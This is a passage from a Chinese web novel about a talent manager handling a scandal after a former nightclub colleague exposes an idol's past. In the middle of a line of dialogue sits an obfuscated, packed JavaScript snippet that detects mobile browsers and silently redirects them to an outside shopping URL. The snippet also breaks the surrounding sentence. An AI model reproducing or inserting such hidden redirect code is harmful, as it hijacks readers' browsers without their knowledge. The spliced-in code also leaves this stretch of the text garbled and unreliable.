正义逝者:【要是真扒出来是谁,那可真完了,夜店艳舞做了公众人物,绝对要被封杀吧。】 你别哔哔:【说得有鼻子有眼,我看又在学‘炒饭摊主’的小作文炒作了,说那么多,人家后面敢亮照片,你敢吗?】 在一众网友的激将法下,帖主没按耐住,在热度上涨到被人私信时,选择在评论区放出了一张照片。 照片背景是在某个化妆后台,十几盏射灯照耀下来,将后台所有人的身影镀了层光,化妆镜前摆放着瓶瓶罐罐,一人正倾 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【我一直以为是对家丢的洗脑包,结果呢!人家照片都放出来了!这怎么整,要我老命啊这是。】 看了眼粉丝群,宫欢险些心肌梗塞。 她深深呼吸,两手有些颤抖地返回手机界面,重新点进微信联系高姐与营销公司。 再不抓紧点压下去,真的要出事了。 联系了众人来开会后,宫欢额头突突的痛,所有计划全都被打乱,一切前所未有的糟糕。 舆论绯闻,恶意诋毁这些对宫欢来说都不算什么,靠营销能解决,可这种大黑料是能将一个人彻底毁掉的,那是绝对回天无力。 究竟是谁爆出的消息? 思索再三,宫欢紧绷着神经想着对策。 她先是找到发帖人,用小号给对方私信发了联系方式,并附私信: 【这位朋友,在网上发这些是要负责任的,我有私人渠道,听说宫欢那边已经得到消息马上就要找你了。宫欢那人心狠手辣,你被她盯上就等着完吧。】 【这是我的联系方式,如果她来为难你,可以联系我。】 发完私信,她过了半小时左右切大号给发帖人发消息:【我是宫欢,您发出的帖子与照片严重影响到我旗下艺人的名誉,请立即删除,如果后续影响严重,我会追究您的责任,不知道您赔不赔得起。】 即使现在删帖也无济于事了。 整个网络上有多少网民看见了帖子,有多少转发,再过几小时,对家的营销号视频做出来...... 花费了将近一年时间,费尽心机捧起来的艺人,可能,就此毁于一旦。 宫欢坐在空荡荡的客厅里,脸色黑压压的沉着,她鲜少有这样凝重的情绪,现在却真的仿佛有山雨欲来之感。 当务之急有两件事要做,一个是查出爆料的人,第二个则是如何应对这类毁灭性的舆论趋势。 难,太难了。 放眼整个娱乐圈,多的是身败名裂的人,没有几个能爬起来。爬起来的也不是一般人,背后大多都有靠山。 这次的事件如果处理不好,X男团无一幸免。 149. 套路 发帖人收到宫欢的双重消息后果然迫于压力加了联系方式。 宫欢切换着大小号给对方施压。 宫欢的大号就是她常用的微信,添加好友后一连串的消息轰炸,顺便随手发了个律师函。 宫欢:【你发的帖子内容还有所谓的‘爆料照片’没有任何依据事实,却引导网民猜测是我旗下艺人,现在造成的舆论风波影响巨大,请立刻与我方艺人公开道歉,否则我们则会采取法律手段。】 她的小号大多用来伪装粉丝之类的作用,给对方发消息时的人设是资深圈内人的风格。 万事知:【哎呀哥们,她都给你发律师函了?看来真要追究你的事儿了。不过别怕,我认识的律师不少,特别擅长解决圈内这些七七八八的糟心事,我给你个联系方式,你问问他。】 万事知:【宫欢特别记仇,我之前见过她,一个助理忘记给她倒热水,她直接把人当场开除了!】 万事知:【你这惹得事可不小,我觉着,她估计要杀到你家里。】 对方发来的文字消息里透出些惧意,仿佛经此提点才意识到自己惹了多大的祸。 G:【那那怎么办啊,我当时也没想那么多......就是看不惯。】 万事知:【看不惯什么?你跟X男团有过节啊?】 G:【对啊,就是那个主C安声,凭什么现在成了大明星,还有一堆粉丝哭天喊地的喜欢他。】 G:【她们知道这个表面清纯的人其实背后就是个xx吗!】 G:【他当初在夜店跳舞,台下点什么他就得跳什么,不就是出来卖的吗!】 G:【谁知道他是怎么攀上宫欢的,我估计是被包养了。】 G:【之前安声在夜店跳舞的时候一堆人想包养他。】 G:【】 G:【哥们,你怎么不说话了?】 宫欢早就骂开了。 “神经病啊他,他是当事人吗他说得有鼻子有眼的,什么煞笔造谣敢造到我大外甥身上!让老娘活劈了他!”宫欢被助理拉着胳膊,只能狂踢腿试图往手机上踹。 她那爆脾气压根忍不到第三条消息,高姐眼疾手快地拉着她,才没发语音过去怒骂而导致暴露计划。 两个小助理安抚着宫欢的情绪,高姐则拿着手机发去消息。 万事知:【手机上说不清楚,你在哪个城市,我们约个地址见面说。】 - 李叶最近工作不顺。 自上一家工作的夜店优化了一批伴舞后,他便一直找不到合适的工作。 一些夜店伴舞要求陪酒,有些要求必须能热场,撑场。 李叶都做不到,他的舞蹈是花2899报课学来的半吊子功夫,只上过几节舞蹈课,勉强能扭扭腰之类的,再多就不行了。 他焦虑不已地上网刷视频,不经意看见近期爆火的X男团。 X男团的相关视频火爆得不可思议,随随便便一个视频热度都居高不下,评论区更是一群人嗷嗷叫地喊哥哥。 李叶本不爱关注娱乐明星,可X男团的其中一人引起了他的注意。 带着梨涡的清纯脸蛋,装的一副天真无邪,令人作呕的那个人不正是之前夜店里领舞的‘灵蛇’吗? 那时候他和其他的伴舞们关系不错,众人都或多或少的厌恶‘灵蛇’,他站在主C位,拿着最多的钱,跳着最少的舞,惹人羡慕嫉妒。 李叶当即恶补了X男团的相关信息,脑补出不少‘被包养’上位的各类内容。 他敢肯定,‘灵蛇’是潜规则上位的。 趁着小作文的热度,他学着伪装路人粉的语气发布了一片小作文——【我认识的艳舞头牌成了大明星大爱豆】。 他倒要看看,这个人还能不能站上舞台。 ...... B市咖啡馆。 李叶穿戴严实坐在靠窗的位置,时不时抬手看时间,他向网上一位大哥问出不少内幕,对方说能帮他。 他没想惹宫欢那个女魔头,只是想抹黑安声解解气,谁知道宫欢放话说要把他告上法庭。 李叶倒真是因为这事慌了,才寄希望于一个素未谋面的网友。 他焦躁不安地频繁看手表,咖啡都喝了两杯。 咖啡馆的门被推开,进来了一个穿着红色风衣的女人,不是他要找的人。 李叶将目光转向窗外,却听见那笃笃笃的鞋跟声慢慢靠近,他下意识转头看了一眼,还没对上眼前人的目光,领口被人猛得扯起,女人强势地将他的头摁在桌上,压低声音恶狠狠报出暗号: “一片两片三四片!” 李叶牙齿打颤,结结巴巴地续上后半段:“我家煤气没交钱!” 宫欢冷哼一声,刚想揍两下解解气,身后高姐走近,往旁边看了一圈提醒道:“这里人多,别闹事,好好跟他聊。” “有什么可聊的,他敢毁我的人,不教训教训怎么行!” 李叶再笨此刻也明白了,来的人是宫欢! 那大哥去哪儿了? 没等李叶想明白,脑袋上的压力骤然一松,对面刷刷坐下两人。 一个是戴墨镜的红衣女魔头,一个是穿着职业西服的女人。他咽了咽唾液,小心翼翼地问:“两,两位找我有什么事吗?” 宫欢啪地一下拍上桌子:“你给我装什么!” 李叶吓得往后一窜,又结巴起来。 高姐很是冷静地推了推眼镜镜框:“放心,她不会揍你。最近关于安声的小作文帖子是你发的吗,请如实回答,我们已经掌握了证据,如果你不说清楚内幕,我们后面不会手下留情。” 的确是无力回天了,李叶只得懊悔地将事情一一说明。 两人没想到这事不止李叶掺和其中,背后还有之前那家夜店的老板也在背后推波助澜,不然帖子的热度不会飙升得如此之快。 等李叶一一交代完,宫欢黑着脸,眼神死死盯着对面的人,像是想将他生吞活剥。 李叶将头重重磕在桌上,当做磕头谢罪:“两位姐姐,我真不是故意的,我,我当时也是鬼迷心窍,觉得自己混的太差了,就有点嫉妒......我真没想做什么。” “你们能别告我吗......我没有钱。” 高姐看了宫欢一眼,抬抬手催人赶紧离开。 李叶感恩戴德地对着高姐再三鞠躬后迅速逃离现场。 气过之后是对复杂局势的无奈,宫欢揉着眉心发愁:“哪怕是死在对家手里我都不会这么冤,居然是安声以前的同事……” 是啊,这颠覆性的,足以毁掉整个男团的黑历史竟然就这么被同事的嫉妒爆出来,这人甚至没想拿黑历史去威胁安声,直接硬爆,纯是又蠢又坏啊。 高姐:“现在怎么办,已经过去六小时了,有些营销号视频开始在作势了,再不公关的话......” 宫欢烦躁地胡乱揉着头发,她往日鬼点子最多,堪称公关小天才,可遇上这类重大型危机,也是手足无措。 再多的公关都无法掩饰这一事实,安声的确在夜店跳过艳舞。 现在只能希望将舆论范围压到最低,将三人以最快的速度分开,必要时候,X男团直接宣布解散,三人中至少能保全两人。 宫欢不想放弃安声,可她也必须做好最坏的打算。 如果舆论声势扩大,她必须要舍弃他。 - 三人的消息接收偏滞后了些,最近他们在筹备新舞的首映舞台,等三人排练完,抽出点娱乐时间上网后,顿时被狂轰乱炸的私信炮轰得头晕眼花。 其中,安声的反应最快。 因为他看见了熟悉的字眼。 夜店,艳舞,灵蛇。 这些都是他曾经熟悉的事务,灵蛇是他在夜店的代号,艳舞是他跳的一种舞蹈方式。 微博的粉丝群里消息飞速跳跃着,全都是在艾特他和宫欢工作室,质问他们到底是怎么回事。 有些粉丝发语音说: “我这么喜欢你,相信你对舞台的热爱,结果呢,你全都是装的!全都是人设!你太让我失望了,安声,你根本不配这么多粉丝的热爱!” 有些粉丝发的是文字小作文: 【我从【敢说敢言】的初舞台就喜欢你了,你的所有周边我买的最快,向身边人安利你,夸你,我还为你学习做剪辑视频,用心去打榜做数据,可现在你告诉我你是个混夜店跳艳舞的‘鸭子’,哈哈,哈哈哈哈我疯了,我真要疯了!!】 粉丝们的崩溃从消息文字里喷涌而出,她们伤心难过,怨恨憎恶。 因为安声欺骗了她们,他不是一个从专业舞蹈学校出来,一直维持着贫苦生活,在街边驻唱被挖掘后成为了明星的爱豆。 而是堕落在夜店里跳艳舞,做着谁也不知道的工作,是不是在被潜规则后一跃成名才做了爱豆,谁也不得而知。 安声之前在粉丝面前展现出的单纯天真的面容在一刹那出现了裂痕,接着四分五裂的碎在地上。 粉丝群中有粉丝维持着一些理智:【大家先不要慌,别崩,先问清楚怎么回事,万一这是对家的洗脑包就完了!】 也有粉丝说:【还洗脑包,那张照片真的不能再真了!还能是假的吗,宫欢她们一个声明都没出,不就是默认!?】 成千上万条消息,安声从惊愕看到麻木,他仿佛自虐般地往上滑动屏幕,那些消息仿佛一把双刃剑,发送人被捅伤一次,安声也被捅一次。 有温热的液体涌出,模糊了眼睛,一滴滴落在手机上,他无声地哭泣,手指仍在颤抖地继续往下滑。 直到一只手抽走了他手里的手机。 宫欢低头看着他的发顶,微微叹气:“别看了。” 安声的肩膀微微颤动,身体缩成一团将脸埋进膝盖里,沉闷的声音带着压抑的哭腔:“......她们都知道了,我一直在骗她们,我是罪人。” “你哪有那么大罪,就是隐藏了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126440|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点过去而已,谁还没点过去了!”宫欢坐在他身旁的沙发上,放软语气安慰道,“别搞得天塌下来似的,就是一点黑历史爆料,问题不大。” “不一样,这不一样!” 安声抬起头,眼泪鼻涕流满整张脸,宫欢被丑的往后躲了躲,他转过脸对着她,张开血盆大口: “她们一直以为我是街边驻唱歌手,是...是没落的金子,是干净的,可是,可是我早就已经不干净了——呜呜!!” “......” 宫欢忍了又忍,看他哭得实在可怜,口中盘旋的难听话稍加修改了下,“你之前只是跳热场舞,又不是做那些违法的事情,这也是为了生存啊!” 奈何安声已经被粉丝群里的话伤得神志不清,他哭着摇头,自暴自弃地把自己埋在沙发里。 一个安声还没完。 没多久,奚亭云和萧子重轮番找了过来。 萧子重回到别墅,上来就质问:“宫大经纪人,给个解释吧?” 宫欢抱着双臂,冷脸坐在安声的另外一边:“解释不了,我现在头大的很,脑子里一团乱!” 萧子重本来在外面拍杂志封面照,中场休息间隙,周围的工作人员挨个拿出手机互相讨论得热火朝天。 他有些疑惑,却没深想。 直到越来越多的工作人员悄悄拿眼神瞥萧子重,他愈发感觉事情不简单,急忙让助理看看热搜。 不看还好,一看天塌了。 #X男团主C是跳艳舞的 萧子重的脑子内发生了一场毁天灭地的核爆炸,他顾不得拍杂志照片,快车加速赶回别墅,到地方时气都没喘匀,便急着追问宫欢。 她倒好,一点解释都没有。 萧子重眉头紧皱,目光扫到沙发一角的安声,开口追问:“安声,到底怎么回事啊。” “你别问他!” 没等宫欢说完,安声浑身脱力般地站起身,朝慢两步赶来的奚亭云和萧子重深深鞠躬,他鼻音浓重,满脸悲痛难过。 “对不起,萧哥,奚哥,我有罪,是我连累了你们,我拖了你们的后腿,你们想怎么揍我都行,我本来就该死。” 两人被他这动静惊得愣在原地,互相看了一眼,奚亭云往宫欢那边望去,几秒间便懂了什么情况。 “我们没怪你,只是想问清楚现在是什么情况。” 安声呜咽出声,哽咽许久一句话也说不出来,气急败坏地哭嚎着冲上二楼,砰地一声将自己关进房间。 宫欢手忙脚乱:“我都说了别问他!” 萧子重反怼道:“问你你也不说啊!” 她头痛得要命,抬手朝空气挥了挥手。 萧子重:“安声疯了你也跟着疯?” 宫欢没好气地白他一眼。 不过几秒,一位小助理飞速赶到现场,甚至带来了一块小黑板,非常专业地示意两人坐下:“两位请坐,现在由我来给两位讲解现在的情况——” 10分钟后,小助理讲解完毕,客厅一片死寂。 奚亭云完全能共感宫欢的想法与烦恼。 他虽然没有系统学过营销方面的内容,可在长达三年的深耕娱乐圈粉丝群体后,深刻明白此刻的危机有多么严重。 不是一些耍大牌、不尊重前辈、抢C位的问题,当前的黑历史爆料是致命且无解的。 一方面是公共形象的影响,可能面临全面封杀,一方面则是粉丝群体的影响,在如此天差地别的人设差别转变后,谁还会愿意正视安声这个人? 最重要的是X男团会受到牵连,奚亭云和萧子重两人也会因为这件事受到形象方面的影响。 粉丝群体大受刺激,极有可能大批量脱粉。 奚亭云知道宫欢在头痛什么。 萧子重花费了一些时间消化刚才听到的消息,愣了半天,冷不丁冒出一句:“——安声之前跳艳舞!?” 二楼房间里顿时传出更激烈的哭嚎惨叫声。 宫欢啧了一声,随手抓了个抱枕狠狠砸向萧子重:“你要不会说话就别说话!” 枕头砸得萧子重往后倒了倒,他捡起抱枕,小声咕哝:“不是,这都能听见吗?” 奚亭云缓和着气氛,谨慎地放低声音:“现在怎么办,买水军发营销通稿,还是开发布会澄清谣言?现在距离黑料过去了10小时,抢占时间先机澄清的话,应该可以延缓一下危机。” “已经在安排了。” 宫欢说着看了眼奚亭云,他神情凝重,目光紧紧落在她身上。 让她意外的是,奚亭云对她要做的那套流程好似烂熟于心,提出的公关建议与她制定的计划大方向几乎一样。 他怎么这么懂营销公关? 宫欢只分神想了一下,思绪很快回归正题。 她嘱咐两人:“最近你们各方面的商演代言,各类通告都会受到影响,我会尽力挽回损失,让这次的危机尽快过去,希望...还有挽回的机会。”